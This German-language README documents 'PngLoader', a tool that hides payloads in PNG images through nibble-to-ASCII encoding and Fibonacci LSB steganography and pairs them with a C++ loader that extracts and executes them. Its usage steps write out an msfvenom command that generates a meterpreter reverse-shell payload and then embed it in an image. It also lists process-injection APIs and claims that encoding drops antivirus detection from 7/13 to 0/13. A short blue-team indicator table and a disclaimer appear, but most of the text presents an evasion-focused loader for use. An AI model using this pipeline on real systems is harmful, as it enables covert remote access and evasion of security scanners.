
Verbirgt beliebige Payloads in PNG-Bildern mithilfe von Nibble-zu-ASCII-Kodierung und Fibonacci-LSB-Steganografie, mit einem C++-Loader, der die eingebetteten Daten extrahiert und ausführt.
Haftungsausschluss: Dieses Projekt dient ausschließlich der Bildung und autorisierten Sicherheitsforschung — Penetrationstests, CTF-Wettbewerben, Red-Team-Übungen und akademischem Studium. Verwende es nicht gegen Systeme ohne ausdrückliche schriftliche Genehmigung.
PngLoader versteckt beliebige Daten in PNG-Bildern mithilfe von zwei Schichten:
# 1. Generate raw test data
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<> LPORT=<> -f raw -o payload.bin
# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt
# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png
# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex
# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PngLoader/
├── 0.Scripts/
│ ├── TransformRawToEncode.py # Nibble-to-ASCII encoder/decoder
│ └── HideEncodeToPicture.py # Fibonacci steganography (embed/extract)
├── 1.Loader/
│ ├── loader_png.cpp # PNG viewer + steganography extractor
│ ├── loader.cpp # Alternate loader (inline buffer)
│ ├── Utils.cpp / Utils.h # ASCII → binary decoder
│ ├── VirtualBuffer.h/.cpp # RAII VirtualAlloc wrapper
│ ├── Hearders.h # Shared Windows includes
│ └── Loader_png.vcxproj # Visual Studio project
├── 2.Payloads/
│ └── clean.png # Sample cover image
└── readme.md
Jedes Byte wird in zwei 4-Bit-Nibbles aufgeteilt. Jedes Nibble wird einem druckbaren ASCII-Zeichen zugeordnet, indem eine zufällige Basis (48, 64 oder 96) addiert wird:
Byte 0xFC → high nibble 0xF, low nibble 0xC
High: 48+15=63 '?' | 64+15=79 'O' | 96+15=111 'o'
Low: 48+12=60 '<' | 64+12=76 'L' | 96+12=108 'l'
Dekodierung nutzt die Modulo-16-Eigenschaft — alle drei Basen sind Vielfache von 16:
original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)
Die zufällige Basisauswahl bedeutet, dass dieselbe Eingabe jedes Mal eine andere Ausgabe erzeugt, die Dekodierung jedoch immer deterministisch ist.
| Basis | Bereich | Zeichen |
|---|---|---|
| 48 | 48–63 | 0123456789:;<=>? |
| 64 | 64–79 | @ABCDEFGHIJKLMNO |
| 96 | 96–111 | `abcdefghijklmno |
Die Payload-Bytes werden an Pixelindizes platziert, die der Fibonacci-Folge (1, 2, 3, 5, 8, 13, 21, …) im abgeflachten Pixel-Array folgen. Dadurch werden die Änderungen über das gesamte Bild verteilt, anstatt sie zu bündeln.
Bit-Packing — jedes Byte wird 3/3/2 auf die RGB-LSBs aufgeteilt:
R: bits 7–5 (3 LSBs)
G: bits 4–2 (3 LSBs)
B: bits 1–0 (2 LSBs)
Wrapping — wenn Fibonacci-Indizes die Pixelanzahl überschreiten, werden sie per Modulo umgebrochen. Kollisionen werden durch lineares Sondieren aufgelöst. Ein 0x00-Terminator markiert das Datenende.
| Bildgröße | Pixel | Saubere Kapazität |
|---|---|---|
| 640×480 | 307.200 | ~27 Bytes |
| 1920×1080 | 2.073.600 | ~31 Bytes |
| 4000×3000 | 12M | ~35 Bytes |
Bei aktiviertem Wrapping gilt: max. Kapazität = total_pixels − 1.
Der C++-Loader (loader_png.cpp) fungiert als legitimer PNG-Viewer:
UtilDecryptFileQuoted() (Mod-16-Umkehrung)Die Fibonacci-Folge ist nur ein Ansatz. Andere Pixel-Auswahlstrategien bieten unterschiedliche Kompromisse zwischen Kapazität und Sicherheit:
| Algorithmus | Saubere Kapazität (1080p) | Gemeinsamer Schlüssel | Verteilung | Kosten |
|---|---|---|---|---|
| Fibonacci (implementiert) | ~31 Bytes | Nein | Exponentielle Abstände | Minimal |
| Primzahl-Index | ~150K Bytes | Nein | n·ln(n)-Abstände | Moderat |
| LFSR | ~2M Bytes | Ja (Seed) | Pseudo-zufällig | Minimal |
| Schlüsselbasierte Permutation | ~2M Bytes | Ja (Schlüssel) | Kryptografisch | Hoch |
| Hilbert-Kurve | Schrittweitenabhängig | Nein | Räumlich gleichmäßig | Moderat |
| Goldener Schnitt (Weyl) | ~2M Bytes | Nein | Geringe Diskrepanz | Minimal |
Primzahl-Index — Pixelindizes sind Primzahlen (2, 3, 5, 7, 11…). Primzahlen wachsen wie n·ln(n), was eine deutlich höhere saubere Kapazität als Fibonacci ergibt.
LFSR — Ein Linear Feedback Shift Register maximaler Länge erzeugt eine pseudo-zufällige Permutation. Der Seed fungiert als gemeinsames Geheimnis. Keine Kollisionen für die volle Periode.
Schlüsselbasierte Permutation (Fisher-Yates) — Eine CSPRNG-initialisierte Durchmischung aller Pixelindizes. Ohne den Schlüssel sind die Positionen nicht von Zufall zu unterscheiden.
Hilbert-Kurve — Durchläuft Pixel entlang einer raumfüllenden Kurve mit einer Schrittweite. Verteilt Änderungen gleichmäßig über die 2D-Bildfläche.
Goldener Schnitt (Weyl-Sequenz) — pos(n) = floor(n × φ × total) mod total. Erzeugt die gleichmäßigste mögliche 1D-Verteilung. Trivial zu berechnen.
Rohe Payload — 7/13 Scanner erkennen sie:

Nach der Kodierung — 0/13 Scanner erkennen sie:

Für Blue-Team / Verteidiger:
| Ebene | Indikator |
|---|---|
| Statisch | Importe: VirtualAllocEx, WriteProcessMemory, SetThreadContext |
| Bild | Chi-Quadrat-Steganalyse auf LSB-Ebenen erkennt Modifikationen |
| Verhalten | Erstellung suspendierter Prozesse + Remote-Thread-Injection (Sysmon EID 1+8) |
| Kodierung | Zeichen ausschließlich aus drei 16-Zeichen-ASCII-Bereichen |
Python:
pip install numpy Pillow
C++-Loader:
1.Loader/Loader_png.vcxproj → Build Release x64Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Siehe Haftungsausschluss oben.